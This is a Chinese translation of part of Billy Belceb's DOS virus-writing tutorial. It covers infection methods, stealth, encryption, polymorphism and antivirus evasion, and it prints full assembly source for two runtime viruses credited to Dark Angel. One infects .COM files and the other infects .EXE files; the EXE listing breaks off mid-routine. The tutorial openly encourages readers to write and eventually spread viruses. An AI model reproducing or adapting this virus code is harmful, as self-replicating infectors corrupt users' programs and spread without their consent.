Billy Belceb病毒編寫教程(DOS篇)一些重要的理論

看雪資料發表於2015-11-15

【一些重要的理論】
~~~~~~~~~~~~~~~~
    一個病毒實際上是一個程式,這個程式通常是用匯編編寫的(但也可用其他語言編寫,如PASCAL和C),它能把它自身複製到其它可執行程式或其它的如boot sector或者MBR。彙編並不是人們所形容的“惡魔”,相信我:)
    我希望你已經發現了,這裡我還沒有提及宏病毒:如果你想真正的學到東西,我想你能做的最好的事情就是用匯編語言去寫一些病毒。
    一個病毒會把它本身附在宿主的尾部(80%的病毒是這樣的),利用MS-DOS會優先執行.com檔案,而不是.exe檔案這個特性(companion virus(伴隨型病毒)),不增加原先檔案的大小(guest infectors和overwriting virus),EXE檔案頭病毒,中間檔案感染病毒,安裝在啟動記錄裡,在MBR裡,甚至採用了壓縮引擎...一個病毒甚至在感染完一個檔案後能減小原來檔案的大小。;) 希望不久後一個病毒能象這樣(超級病毒;))讓我們來看看第一種型別的病毒的執行示意圖;)
                                      _______________ 
    _________   _________         ___|         |     |<---|
   |         | |         |       |   | JMP 病毒|     |    |
   |   檔案  |+|  病毒   |---------> |_________|     |    |
   |_________| |_________|       |   |               |    | 
                                 |   |     檔案      |    |    
                                 |   |               |    |
                                 --->|---------------|    |
                                     |               |    | 
                                     |               |    | 
                                     |     病毒      |    |
                                     |               |    |
                                     |_______________|____|

     病毒通常會遵循如下相同步驟:
    1. 定位要感染的檔案(一直等待直到開啟某些東西,或者搜尋目錄)
    2. 檢查某個檔案是否已經被感染
    3. 如果已感染,跳過
    4. 儲存檔案日期/時間
    5. 設定一個跳轉跳到我們的程式碼儲存前幾個位元組                                 
    6. 新增病毒主體程式碼      
    7. 恢復檔案日期/時間

    正如你所看到的,非常簡單,但是它們會使用不同的方法來實現這個,我會在以後解釋。
    另一種型別的感染過程也能表示出來,但是它更慢,因為我們們要處理目標所有的程式碼,把它存在一個臨時空間裡,寫上我們的病毒程式碼,和目標的原先的程式碼。讓我們看:
                                       _____________  
  __________     ___________          |             |
 |          |   |           |         |             |
 |   檔案   | + |   病毒    |-------->|    病毒     |   
 |__________|   |___________|         |             |    
                                      |-------------|↓  
                                      |             |      
                                      |    檔案     |     
                                      |             |   
                                      |_____________|

     世界上最差的病毒是那種覆蓋型的病毒。它們是如此的富有破壞性,而且感染也是很容易被檢測出來的,因為它們不能執行目標程式(由於感染方法的原因,它們不能執行目標程式),它們只能執行病毒程式本身。讓我們來看看一幅示意圖:
                                     ______________ 
  ___________   ___________         |              |  
 |           | |           |        |    病毒      |
 |   檔案    |+|   病毒    |------->|              |
 |___________| |___________|        |--------------| 
                                    |              | <---原先檔案再也不會
                                    |______________|     執行了 :(

     一個真正的好主意是檔案中感染(mid-file infection),可能這是最好的感染方法了:病毒更難去除、模擬了...它們通常的對目標程式在隨機的偏移地址寫上病毒程式碼,示意圖如下:
                                  ________________    
                              ---|         |      |<---|
                              |  |JMP 病毒 |      |    |
 __________   __________      |  |_________|      |    |
|          | |          |     |  |                |    |
|   檔案   |+|   病毒   |------->|   檔案(I)      |    | 
|__________| |__________|     |  |________________|    |
                              -->|                |    |
                                 |     病毒       |    |
                                 |________________|____|
                                 |                |
                                 |   檔案(II)     |
                                 |________________|
                                 | 病毒覆蓋儲存   |
                                 | 的資料         |
                                 |________________|  
     
    當然啦,還有更多的感染方法,但是這是一篇為初學者而寫的教程,所以...永遠不要忘記:)

    一個病毒有一些不同的phase(階段):

    感染(INFECTION):一個病毒通常會出人意料地出現的,在一個檔案中(透過磁碟,e-mail...)或者啟動扇區(boot sector)(磁碟...)。使用者在不知道的情況下執行病毒,那就是病毒開始控制系統的時候了(取代了使用者) ;)

    "我擁有控制權"(I-HAVE-THE-CONTROL):這是病毒最有意思的階段,使得使用者高高興興地生活著,把程式借給他的/她的朋友,感染它們,和所有材料。那麼這個病毒就會非常快的感染越來越多的人了。[譯者注:實際上這個階段可概括為傳播階段,原文措辭很難理解]

    發作(PAYLOAD):在滿足一定的條件後,病毒將會顯示它的存在了。發作可能會是破壞性的<g>,也可能不會;)。以我個人的觀點,蹩腳的病毒編寫者才會編寫破壞性的病毒,這些卑鄙的人就喜歡從破壞別人的電腦中得到快感,好一點的發作是那些正宗的病毒,它們給使用者帶來了驚奇。當然了,也有從來不發作的病毒,這類病毒除了複製自己之外,什麼事也不幹(Hi Patty Bitchman!)。

    在這篇教程中,我將要討論一些其它的話題諸如:

    病毒自身的保護:我確實很喜歡這個話題。這個通常在防止那些飢渴的傢伙除錯/反彙編我們的病毒。呵呵,一個優秀的病毒作者能反彙編他/她想要反彙編的任何病毒,Tcp/29A和Darkman/29A...就是榜樣。

    隱蔽:為了編寫出出色的病毒,需要偽裝的手段。有許多偽裝的方法(FCB,Handles,SFT,Disinfection-on-the-fly...),我將會介紹其中的一些方法。這樣會使使用者產生一種錯覺,自己機器上沒有任何病毒感染,使他的檔案大小在感染前後完全一樣,在開啟這個檔案之前給它“消毒”(disinfecting)...
   
    加密:這個方法在於加密病毒的主體,使得我們能作為版權的字串不能被懷疑者識別;)它實際上是一種老技術了,但是現在仍然被使用著(但是有一些改變,看下一點)。它使用算術運算來完成加密(XOR, ADD-SUB, INC-DEC, NOT, NEG, ROR-ROL... )

    多型性:為了躲避AV(查防毒軟體)的一項技術,是加密的一種擴充套件。目的就是每次產生不同的解密例程,使得對病毒無法掃描,或者使掃描字串儘可能的短。

    反-探索:探索式掃描器並不象某些人說的那麼可信。我將表明探索並不象它們看起來的那麼安全。為了避免標誌,解決的方式是一些花招(tricks)。

    TUNNELING(地道?坑道?):這個是在獲得“真正”的INT 21h中斷向量時使用,繞過TSR監視,和所有的攔路虎。

    ANTI-TUNNELING(反-地道?):AV使用的避開tunneler的武器,成了TSR監視的一個敵人了。它還在停止其它的病毒試圖獲得“我們的”INT 21h的時候非常酷:)

    反-引誘(ANTI-BAIT):引誘這種手段是AV使用的在許多檔案中進行多重感染,試圖獲得我們病毒的掃描字串(而且利用它,獲得我們的變異引擎)...我們希望被這樣嗎?當然不!我將會解釋避免感染這種無關程式的使用得最多得方法。

    最佳化(OPTIMIZATION):好的病毒總是使用最少的程式碼做最多的事情。在這一小節,你將會看到怎樣用最少的程式碼做最多的事情。

【第一步 執行期病毒】(RUNTIME viruses)
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    成功的感染有很多方法。現在我將介紹最古老的一個,執行期方法(也叫直接感染法)。現在,沒有人再來編寫執行期病毒了,因為它們太慢了(sloooooooow,譯者注:很形象),而且它們的存在會被一箇中等感興趣的使用者發現。但是...不要怕!這種方法是特別簡單,但是圈內的所有人,都是以編寫出執行期感染com檔案病毒邁出他們的第一步的。這個方法僅僅是你的病毒開發的第一次親密接觸。一個執行期病毒存在於一個程式中,使用萬用字元("*.com","*.exe","*.*"...)來搜尋檔案,使用DOS-API(當然是INT 21h啦)函式Findfirst和Findnext(4Eh和4Fh)。它還進入其它的目錄而不是實際所在的目錄進行感染。通常這種型別的病毒感染.com和.exe檔案,但是也能感染.sys,.obj,.zip...但要解釋清楚這個我恐怕還需寫一篇教程,而且...你還記得這是為初學者寫的教程嗎? ;)

%COM 檔案感染%
~~~~~~~~~~~~~~
    最早的病毒,正如你所能想象的是感染com檔案的病毒。這是你必須搞懂的第一病毒,而且這種病毒,或多或少,所用到的方法,在所有的病毒裡都會用到(TSR等等):

1.開啟檔案
2.儲存時間/日期/屬性
3.儲存開始的(通常 3)位元組
4.計算新的跳轉(jump)
5.添上這個跳轉
6.新增病毒主體
7.恢復時間/日期/屬性
8.關閉檔案

    你必須記住的是一個COM檔案的物理程式碼和記憶體中一樣(COM=Copy Of Memory)。DOS會把所有的可用記憶體分配給COM檔案。讓我們看看一個裝載到記憶體中的COM程式:

 _______________________________ 
|                               |<--------CS=0000h 
|  Program Segment Prefix(PSP)  |     |---DS=0000h
|      100h bytes(256d)         |     |---ES=0000h
|_______________________________|     |---SS=0000h
|                               |<--------CS:IP=0100h
|        程式程式碼和資料          | 
|                               |
|                               |
|                               |      
|                               |     |---CS=FFFFh (*)堆疊向後增長,自底向頂
|                               |     |---DS=FFFFh
|             堆疊              |     |---ES=FFFFh
|_______________________________|<--------SS:SP=FFFFh  

    一個COM檔案只能有一段(FFFFh bytes)大小減去100h bytes的大小被PSP使用(FFFFh-100h=FEFFh)。但是有一個問題。我們必須節省更多的空間給堆疊的增長所需(每次我們會使用PUSH而忘記了POP,堆疊增長了,而如果它增長了太多的話,將會搞崩潰我們的程式)。我將至少留100h bytes給堆疊。OK? :)
    這很容易理解...而且它是邏輯上的!!! ;)
    說到邏輯上的東西...我想現在是練習感染COM檔案的好時候了。它是一個蹩腳的病毒。蹩腳?僅僅?比這更甚:最蹩腳的! ;)但是這是一個初學者教程,所以我必須寫它!雖然它使我很惱火!恩,我就不浪費腦力來編寫那樣的東西了,雖然我只要花5分鐘時間就可以寫一個:)(花時間?浪費時間!)

;-----從這裡開始剪下-----------------------------------------------------
;一個非常蹩腳的病毒。不要編譯。不要釋出。
;如果你還複製這個...你就會很蹩腳了!
;但是我希望這個能幫助你走好第一步成為一個出色的病毒編寫者 ;)    
;然後你會給我問候 :)
;我討厭編寫我自己的執行期病毒(5分鐘可以寫一個很差的,請相信我,非常煩人,而
;且浪費時間)所以我使用了Dark Angel的程式碼
;對不起,我是一個很懶的人 :)
;彙編用:TASM /m3 lame.asm
;連線用:TLINK /t lame.obj
;Virus generated by G?0.70 (看,我沒有去掉簽名。它不是我寫的!你能做的最蹩
;腳的事情就是把簽名去掉。不要忘記吆! )
;作者:Dark Angel 屬於Phalcon/Skism
;檔案:LAME.ASM

  .model  tiny
  .code

  org  0100h

carrier:
  db  0E9h,0,0    ; jmp start

start:
  mov  bp, sp      ; Antidebugging get ?offset!
  int  0003h      ; Int for breakpoints
next:
  mov  bp, ss:[bp-6]
  sub  bp, offset next
;----------------------------------------------------------------------
;  解釋:
;  讓我們看,當我們感染一個檔案。所有的offset會偏移目標程式的大小,所
;  以我們選擇一個暫存器(通常BP或者SI),而且我們利用這個簡單的方法給它賦
;  檔案的大小,每次我們使用一個變數,我們必須把這個暫存器作為偏
;  移(這裡是BP)
;----------------------------------------------------------------------

  mov  dl, 0000h    ; Default drive
  mov  ah, 0047h    ; Get directory
  lea  si, [bp+offset origdir+1]
  int  0021h

  lea  dx, [bp+offset newDTA]
  mov  ah, 001Ah    ; Set DTA
  int  0021h

;----------------------------------------------------------------------
;  解釋:
;  上面一段把當前目錄儲存在一個變數裡面。
;  你在這篇教程裡面可以查詢一下有關於DTA結構的介紹。DTA(Disk Transfer 
;  Address)在仍然屬於命令列的PSP(Program Segment Prefix)的80h byte處。
;  你想直到為什麼...在我們使用命令列的時候使用DTA會發生什麼呢?
;  那就是我們儲存D他的原因(除了我們自己使用之外,毫無疑問了)
;----------------------------------------------------------------------

restore_COM:
  mov  di, 0100h
  push  di
  lea  si, [bp+offset old3]
  movsb        ; Move first byte
  movsw        ; Move next two

  mov  byte ptr [bp+numinfect], 0000h

;-------------------------------------------------------------------------
;  解釋:
;  上面一段是恢復被感染COM檔案的前三個bytes,在offset 100h 處還把這個
;  offset儲存在DI裡面以備後用。最後一行是把真正感染的個數初始化為0
;  (計數器)
;-------------------------------------------------------------------------

traverse_loop:
  lea  dx, [bp+offset COMmask]
  call  infect
  cmp  [bp+numinfect], 0003h
  jae  exit_traverse    ; exit if enough infected

  mov  ah, 003Bh    ; CHDIR
  lea  dx, [bp+offset dot_dot] ; go to previous dir
  int  0021h
  jnc  traverse_loop    ; loop if no error

exit_traverse:

  lea  si, [bp+offset origdir]
  mov  byte ptr [si], ''
  mov  ah, 003Bh    ; restore directory
  xchg  dx, si
  int  0021h

;-------------------------------------------------------------------------
;  解釋:
;  這裡我們所做的就是感染當前目錄下的所有檔案,做完這個後,來到..目錄下,
;  即當前目錄的上一級目錄。
;  當沒有更多的目錄後,我們就來到我們最先所處的目錄。
;-------------------------------------------------------------------------

  mov  dx, 0080h    ; in the PSP
  mov  ah, 001Ah    ; restore DTA to default
  int  0021h

return:
  ret

;--------------------------------------------------------------------------
;   解釋:
;   這一段恢復DTA為原先的地址,在Program Segment Prefix(PSP)的offset 80h 處
;   然後返回到原先的offset 100h,為了正常地執行這個檔案。
;   (記住我們當di=100h時,執行了push di操作。
;--------------------------------------------------------------------------

old3    db  0cdh,20h,0

infect:
  mov  ah, 004Eh    ; find first
  mov  cx, 0007h    ; all files
findfirstnext:
  int  0021h
  jc  return

;--------------------------------------------------------------------------
;   解釋:
;   在這段程式碼中,我們所做的是在當前目錄下面尋找和儲存在DX裡的萬用字元(在這
;   個例子裡"*.COM"),可以為任意型別的檔案。
;   Old3 是處理被感染了的COM檔案的前3位元組。
;   如果沒有符合的檔案,一個進位標誌將會返回,然後跳轉到把控制權交
;   給主程式的處理程式。如果我們發現至少有一個可以感染,就跳轉到接下來的
;   程式碼,處理完了後,再尋找其它檔案。 
;--------------------------------------------------------------------------

  cmp  word ptr [bp+newDTA+35], 'DN' ; Check if COMMAND.COM
  mov  ah, 004Fh    ; Set up find next
  jz  findfirstnext    ; Exit if so

;--------------------------------------------------------------------------
;  解釋:
;  這一段處理不要感染command.com這個檔案,檢查檔案在某個位置name+5(DTA+35)
;  有字元 DN (不是ND,是因為這兩個是倒著儲存的!)
;--------------------------------------------------------------------------

  lea  dx, [bp+newDTA+30]
  mov  ax, 4300h
  int  0021h
  jc  return
  push  cx
  push  dx

  mov  ax, 4301h    ; clear file attributes
  push  ax      ; save for later use
  xor  cx, cx
  int  0021h

;--------------------------------------------------------------------------
;  解釋:
;  上面一段第一部分有兩個功能:為將來恢復檔案的屬性而儲存檔案的屬性,
;  檢查檔案是否存在或者是否有問題。
;  第二部分在堆疊中儲存4301h(寫屬性的函式)和清除檔案討厭的屬性如只讀
;  屬性 :)
;--------------------------------------------------------------------------

  lea  dx, [bp+newDTA+30]
  mov  ax, 3D02h    ; Open R/O
  int  0021h
  xchg  ax, bx      ; Handle in BX

  mov  ax, 5700h    ; get file time/date
  int  0021h
  push  cx
  push  dx

;--------------------------------------------------------------------------
;  解釋: 
;  第一部分以讀/寫模式開啟檔案,並把檔案控制程式碼放在BX中,放這裡將會更有用。
;  指令的第二部分獲得檔案的日期和時間然後儲存在堆疊中。
;--------------------------------------------------------------------------

  mov  ah, 003Fh
  mov  cx, 001Ah
  lea  dx, [bp+offset readbuffer]
  int  0021h

  xor  cx, cx
  xor  dx, dx
  mov  ax, 4202h
  int  0021h

;--------------------------------------------------------------------------
;  解釋:
;  第一部分讀取1Ah 位元組(26) 到讀緩衝區中,為後來做準備。
;  第二部分把檔案指標指向檔案尾,有兩個原因:1.把檔案大小放到AX中
;  2.我們將在檔案尾添上病毒。 
;--------------------------------------------------------------------------

  cmp  word ptr [bp+offset readbuffer], "ZM"
  jz  jmp_close

  mov  cx, word ptr [bp+offset readbuffer+1] ; jmp location
  add  cx, heap-start+3  ; convert to filesize
  cmp  ax, cx      ; equal if already infected
  jl  skipp
jmp_close:
  jmp  close

;--------------------------------------------------------------------------
;  解釋:
;  第一部分比較開啟的COM檔案的前兩個位元組,為了分辨清楚這個檔案是否是一個
;  錯誤命名的EXE檔案(記住字串必須是倒序)。
;  第二部分檢查以前的感染,比較  病毒大小+目標檔案(被感染前)大小是否和
;  目標檔案的實際大小是否相等。
;--------------------------------------------------------------------------

skipp:

  cmp  ax, 65535-(endheap-start) ; check if too large
  ja  jmp_close    ; Exit if so

  lea  di, [bp+offset old3]
  lea  si, [bp+offset readbuffer]
  movsb
  movsw

;--------------------------------------------------------------------------
;  解釋:
;  上面指令的第一部分檢查COM檔案的大小,看看我們能否感染它(COM檔案大小+病毒
;  大小不能>0FFFFh(65535)),如果大於了,PSP 和堆疊會"撐爆"檔案。
;  第二部分把old3的值(3 位元組) 賦到讀緩衝區中。
;--------------------------------------------------------------------------

  sub  ax, 0003h    ; Virus_size-3 ( jump size )
  mov  word ptr [bp+offset readbuffer+1], ax
  mov  dl, 00E9h    ; Opcode of jmp
  mov  byte ptr [bp+offset readbuffer], dl

  lea  dx, [bp+offset start]  ; The beginning of what append
  mov  cx, heap-start    ; Size to append
  mov  ah, 0040h    ; concatenate virus
  int  0021h

;--------------------------------------------------------------------------
;  解釋:
;  第一部分計算跳轉到病毒的程式碼並把結果儲存在一個變數中。
;  第二部分把病毒附到目標檔案後面:)
;--------------------------------------------------------------------------

  mov  ax, 4200h
  xor  dx, dx
  xor  cx, cx
  int  0021h


  mov  cx, 0003h
  lea  dx, [bp+offset readbuffer]
  mov  ah, 0040h
  int  0021h

  inc  [bp+numinfect]

;--------------------------------------------------------------------------
;  解釋:
;  第一部分把檔案指標指向檔案開頭,第二部分寫跳轉到病毒的程式碼。
;  第三部分使變數增加以 記住已經成功感染的次數。
;--------------------------------------------------------------------------

close:
  mov  ax, 5701h    ; restore file time/date
  pop  dx
  pop  cx
  int  0021h

  mov  ah, 003Eh
  int  0021h

  pop  ax      ; restore file attributes
  pop  dx      ; get filename and
  pop  cx      ; attributes from stack
  int  0021h

  mov  ah, 004Fh    ; find next
  jmp  findfirstnext
;--------------------------------------------------------------------------
;  解釋: 
;  上面指令的第一部分恢復儲存在DTA裡面的檔案的時間和日期。
;  第二部分關閉檔案而第三部分被感染檔案原先的屬性。
;  最後一部分賦AX以呼叫DOS的FindNext函式,並尋找更多的檔案來感染。
;--------------------------------------------------------------------------


signature  db  "[PS/G]",0     ; Phalcon/Skism G?( old!! )
COMmask   db  "*.COM",0       ; Must be ASCIIZ ( Ascii string,0 )
dot_dot   db  "..",0          ; Directory to change

heap:          ; this data goes in heap
newDTA    db  43 dup (?)  ; DTA size, 2Bh
origdir   db  65 dup (?)  ; Where to store old directory
numinfect  db  ?    ; Handles the number of infections
readbuffer  db  1ah dup (?)  ; Buffer
endheap:
end  carrier
;-----到這兒為此剪下------------------------------------------------------

     正如你所看到的,它使如此的簡單,而且程式碼被詳細地註釋了。如果你還不懂,不用往下看了,繼續看COM檔案地感染!!!但是...一個病毒要是僅僅感染COM檔案...而且執行期病毒可能在6、7年前很酷,但如今它太差勁了!在傳播一個執行期病毒之前,我建議你還是再等一段時間吧。幾個月時間足夠使你學好組合語言了,而你如果多花一些時間提高你的技能,那麼,再過幾個月,你將會編寫出有著很強隱蔽能力和巧妙花招的病毒來。
    在討厭的Win95中有大量的COM檔案,有意思吧?到目前為止它們經常被使用,但還有個問題。如果我們這麼簡單的感染它們,它們會造成當機的:(解決的方法是儲存檔案的最後七個位元組,在最後兩個位元組添上病毒的大小。
    最後指出,對於其他病毒編寫者對你的初學所編寫出來的病毒表現出的不屑一顧請不要在意。有時候這些人(僅僅是少部分人,通常圈內的大部分人很熱心的)忘記了他們起步時其實和你差不多,要相信自己。
    不談那些連自己的根都忘記了的人了,接下來談談EXE檔案的感染 。

%EXE 檔案的感染%
~~~~~~~~~~~~~~~~
    首先你必須知道的是,感染EXE檔案是和感染COM檔案不同的(我猜聰明的你一定早就知道這個了),EXE檔案可能更大了,而且它們有一個檔案頭HEADER(我想感染EXE檔案最重要的就是掌握這個檔案頭),這個檔案頭包含了我們感染時的重要資料如CS:IP(儲存的時候是倒著的IP:CS),SS:SP(沒有倒著存!!!),段中的檔案大小和所有其它重要的東西。下面給出EXE檔案頭結構:

 _______________________________________
|      EXE file mark(ZM or MZ)          |<----+0000h
|_______________________________________|           Size:1 WORD
|     Bytes in last page of image*      |<----+0002h
|_______________________________________|           Size:1 WORD
|           Number of pages*            |<----+0004h
|_______________________________________|           Size:1 WORD
|      Number of relocation items       |<----+0006h
|_______________________________________|           Size:1 WORD
|   Size of the header in paragraphs    |<----+0008h 
|_______________________________________|           Size:1 WORD 
|         MinAlloc in paragraphs        |<----+000Ah
|_______________________________________|           Size:1 WORD
|         MaxAlloc in paragraphs        |<----+000Ch  
|_______________________________________|           Size:1 WORD 
|              Initial SS*              |<----+000Eh     
|_______________________________________|           Size:1 WORD
|              Initial SP*              |<----+0010h
|_______________________________________|           Size:1 WORD
|          Negative checksum            |<----+0012h
|_______________________________________|           Size:1 WORD
|             Initial IP*               |<----+0014h 
|_______________________________________|           Size:1 WORD
|             Initial CS*               |<----+0016h
|_______________________________________|           Size:1 WORD
|            Reloacations               |<----+0018h
|_______________________________________|           Size:1 WORD
|              Overlays                 |<----+001Ah
|_______________________________________|           Size:1 WORD
|          Reserved/Not used            |<----+001Ch
|_______________________________________|           Size:1 DWORD?
                                          總長度:變數!
             標誌了(*)的表示病毒感染時將會被修改。

    EXE檔案可以有不止一個段(segment)(一個為程式碼段,一個為資料段,其它為堆疊段->按照CS,DS,SS的順序)
    EXE檔案頭是由聯結器產生的,使用者是不會改變它的。當DOS把EXE檔案裝如記憶體,它看起來如下:

 _______________________________
|  Program Segment Prefix(PSP)  |<-------ES=0000h
|     100h bytes(256d)          |    |---DS=0000h
|_______________________________|
|   Program Code Segment(CS)    |<-------CS:IP(由檔案頭指向)
|_______________________________|
|   Program Data Segment(DS)    |
|_______________________________|
|   Program Stack Segment(SS)   |<-------SS=0000h
|_______________________________|<-------SS:SP(由檔案頭指向)

    正如你所看到的,EXE檔案沒有COM檔案所存在的問題。為了滿足堆疊需要(PUSH和POP),我們擁有整個段(segment)!它仍然向後增長(自底向頂)。
    讓我們看看你編寫感染EXE檔案的病毒所需遵循的演算法(一步接一步):

   1.以只讀方式開啟檔案(哇!天才!)
   2.讀取前1A位元組(26d)資料
   3.把它們儲存到一個變數中
   4.關閉檔案
   5.檢查作為標誌的第一個字(MZ,ZM)
   6.如果相等,繼續,如果不相等,轉向16
   7.檢查以前是否已被感染
   8.如果沒有被感染,繼續,如果已被感染轉向17
   9.儲存CS:IP(反過來->IP:CS)為將來恢復EXE檔案用
  10.同樣的目的,儲存SS:SP(就按這個順序)
  11.計算新的CS:IP和SS:SP
  12.修改最後一頁的位元組和頁數
  13.重新開啟(但是以read/write模式開啟)
  14.寫檔案頭
  15.使檔案指標指向檔案尾
  16.新增病毒主體
  17.關閉檔案

    毫無疑問,你該按照上面說的那麼做,如以讀/寫模式開啟檔案只有一次。一定要注意被感染檔案的SP。
    我不想再介紹更多的理論來煩你了,請記住這一點,學習編寫病毒的最好的方法是多看其它病毒的原始碼。而且看我已經為你加了註解的病毒原始碼將會更好:)

;-----------從這裡開始剪下----------------------------------------------------
;  到了更有趣的章節,我將把我自己編寫的病毒的原始碼作為例子。
;  那時候,看了這些程式碼,你就會感到很差了 :)
;
;  彙編:TASM /m3 lame.asm
;  聯接:  TLINK /t lame.obj
;
;  Virus generated by G 0.70
;  作者:Dark Angel 屬於 Phalcon/Skism

id    =  ';)'

  .model  tiny
  .code
  org  0100h

start:
  call  next
next:
  pop  bp
  sub  bp, offset next
;---------------------------------------------------------------------------
;  解釋:
;    這是最普遍的尋找偏移地址(delta offset)的方法了(如果你還不知道什麼是
;     delta offset 的話,殺了你自己算了)
;---------------------------------------------------------------------------

  push  ds
  push  es
  push  cs
  pop  es      ; CS = ES
  push  cs
  pop  ds      ; CS = ES = DS

;---------------------------------------------------------------------------
;  解釋:
;  這次的目標不是一個COM檔案了!請記住這一點!EXE檔案更強大了(比較
;    難一點感染了)。當我們執行一個EXE檔案,每一段指向一個不同的段,所以
;    我們需要調整它們。記住我們不能新增諸如"mov es,ds"的程式碼,所以,需要
;    小小的花招來做這個。使用堆疊:)
;---------------------------------------------------------------------------

  mov  ah, 001Ah    ; Set DTA
  lea  dx, [bp+offset newDTA]
  int  0021h

  mov  ah, 0047h    ; Get directory
  lea  si, [bp+offset origdir+1]
  cwd        ; Default drive
  int  0021h

;---------------------------------------------------------------------------
;  解釋:
;     你還記得我們的老朋友嗎,DTA?我希望你的回答是yes,如果是not,重新讀整篇
;    教程,上帝會原諒你的!
;    第二個例程也是一段經典的程式,你已經看過了。
;---------------------------------------------------------------------------

  lea  di, [bp+offset origCSIP2]
  lea  si, [bp+offset origCSIP]
  movsw
  movsw
  movsw
  movsw

  mov  byte ptr [bp+numinfect], 0000h

;---------------------------------------------------------------------------
;  解釋:
;  嗨!有新東東啦!第一段的功能是為了將來恢復目標EXE檔案。我希望你知道
;  MOVSW這條指令...不知道?Grrr...我解釋給你聽吧,但是其它的疑問....
;    買一本彙編教材!!!MOVSW 從DS:SI移一個字到ES:DI(MOVSB做同樣的事但是
;    移一個位元組)。我們這麼做是因為我們有兩個雙字。我們還可以使用如:
;    MOV CX,4 和 REP MOVSW,或者在386+裡,兩個MOVSD。
;---------------------------------------------------------------------------

traverse_loop:
  lea  dx, [bp+offset EXEmask]
  call  infect
  cmp  [bp+numinfect], 0003h
  jae  exit_traverse    ; exit if enough infected

  mov  ah, 003Bh    ; CHDIR
  lea  dx, [bp+offset dot_dot] ; go to previous dir
  int  0021h
  jnc  traverse_loop    ; loop if no error

;---------------------------------------------------------------------------
;  解釋:
;  解釋以前已經解釋過的例程是件痛苦的事...
;---------------------------------------------------------------------------

exit_traverse:

  lea  si, [bp+offset origdir]
  mov  byte ptr [si], ''
  mov  ah, 003Bh    ; restore directory
  xchg  dx, si
  int  0021h

  pop  es      ; ES = DS
  pop  ds

  mov  dx, 0080h    ; in the PSP
  mov  ah, 001Ah    ; restore DTA to default
  int  0021h

;---------------------------------------------------------------------------
;  解釋:
;  已經在感染COM檔案時介紹過了。
;---------------------------------------------------------------------------

restore_EXE:
  mov  ax, ds
  add  ax, 0010h
  add  cs:[bp+word ptr origCSIP2+2], ax
  add  ax, cs:[bp+word ptr origSPSS2]
  cli
  mov  ss, ax
  mov  sp, cs:[bp+word ptr origSPSS2+2]
  sti
  db  00EAh        ; jmp far opcode
origCSIP2  dd  ?
origSPSS2  dd  ?
origCSIP  dd  0fff00000h
origSPSS  dd  ?

return:
  ret

;---------------------------------------------------------------------------
;  解釋:
;  這裡是恢復目標EXE檔案。看看這些指令...我們的目的是恢復被感染EXE檔案
;    的原先CS:IP和SS:SP的值。注意在堆疊操作之前,我們必須釋放中斷。
;    然後,我們跳轉到原先的EXE程式碼,如果沒有什麼意外的話,將會按我們
;    預料的發展了 :)
;---------------------------------------------------------------------------

infect:
  mov  cx, 0007h    ; all files
  mov  ah, 004Eh    ; find first
findfirstnext:
  int  0021h
  jc  return
  lea  dx, [bp+newDTA+30]
  mov  ax, 4300h
  int  0021h
  jc  return
  push  cx
  push  dx

  mov  ax, 4301h    ; clear file attributes
  push  ax      ; save for later use
  xor  cx, cx
  int  0021h

;---------------------------------------------------------------------------
;  解釋:
;  這段程式碼看起來還感染COM檔案的那段差不多。因為這段是尋找EXE檔案,
;    清除檔案屬性和其它的
;---------------------------------------------------------------------------

  mov  ax, 3D02h
  lea  dx, [bp+newDTA+30]
  int  0021h
  xchg  ax, bx

  mov  ax, 5700h    ; get file time/date
  int  0021h
  push  cx
  push  dx

  mov  ah, 003Fh
  mov  cx, 001Ah
  lea  dx, [bp+offset readbuffer]
  int  0021h

  mov  ax, 4202h
  xor  cx, cx
  cwd
  int  0021h

;---------------------------------------------------------------------------
;  解釋:
;  嗨,上面的所有程式碼已經在介紹COM檔案感染時見過了。但是從這兒開始到最後,
;  還有有關於EXE檔案感染的更酷的東西呢 :)
;---------------------------------------------------------------------------

  cmp  word ptr [bp+offset readbuffer], 'ZM'
  jnz  jmp_close

checkEXE:
  cmp  word ptr [bp+offset readbuffer+10h], id
  jnz  skipp
jmp_close:
  jmp  close

;---------------------------------------------------------------------------
;  解釋:
;  第一部分比較開啟檔案的前幾個位元組來尋找EXE檔案的簽名(MZ)。G的作者好象
;  忘記了加上比較ZM。第二部分檢查是否已被感染。這個病毒是一個比較老的
;   執行期病毒,它的基本方法是標記已經感染的EXE檔案(把EXE檔案頭的兩個位元組
;   壓棧作為SP)。
;---------------------------------------------------------------------------

skipp:

  lea  si, [bp+readbuffer+14h]
  lea  di, [bp+origCSIP]
  movsw        ; Save original CS and IP
  movsw

  sub  si, 000Ah
  movsw        ; Save original SS and SP
  movsw

;---------------------------------------------------------------------------
;  解釋:
;  在這裡為了理解這段程式碼,你必須記起來MOVSW會做什麼(剛在上面介紹的)。OK?
;    這裡恢復開啟EXE檔案的CS:IP和SS:SP的值。
;---------------------------------------------------------------------------

  push  bx      ; save file handle
  mov  bx, word ptr [bp+readbuffer+8] ; Header size in paragraphs
  mov  cl, 0004h
  shl  bx, cl

  push  dx      ; Save file size on the
  push  ax      ; stack

  sub  ax, bx      ; File size - Header size
  sbb  dx, 0000h    ; DX:AX - BX -> DX:AX

  mov  cx, 0010h
  div  cx      ; DX:AX/CX = AX Remainder DX

  mov  word ptr [bp+readbuffer+0Eh], ax ; Para disp stack segment
  mov  word ptr [bp+readbuffer+14h], dx ; IP Offset
  mov  word ptr [bp+readbuffer+10h], id ; Initial SP
  mov  word ptr [bp+readbuffer+16h], ax ; Para disp CS in module.

;---------------------------------------------------------------------------
;  解釋:
;  這段程式碼看起來很難理解。但實際上不是。第一部分在readbuffer+8處讀取數值
;    (段中的檔案頭大小)。然後把它轉化為位元組。第二部分把檔案大小壓棧。第三部分
;    把檔案大小減去檔案頭大小。第四部分把上面結果除以10存在AX中,把餘數存在
;    DX中。然後給SS,IP,SP和CS賦新值。
;---------------------------------------------------------------------------

  pop  ax      ; File length in DX:AX
  pop  dx

  add  ax, heap-start
  adc  dx, 0000h

  mov  cl, 0009h
  push  ax
  shr  ax, cl
  ror  dx, cl
  stc
  adc  dx, ax
  pop  ax
  and  ah, 0001h

  mov  word ptr [bp+readbuffer+2], ax ; Fix-up the file size in
  mov  word ptr [bp+readbuffer+4], dx ; the EXE header
;---------------------------------------------------------------------------
;  解釋:
;  Yeeeha!一些很酷的數學運算!:)首先我們要做的是恢復檔案大小。然後,我們
;    加上病毒的大小。這一大段程式碼的許多運算是計算感染後的檔案頭中的檔案大小
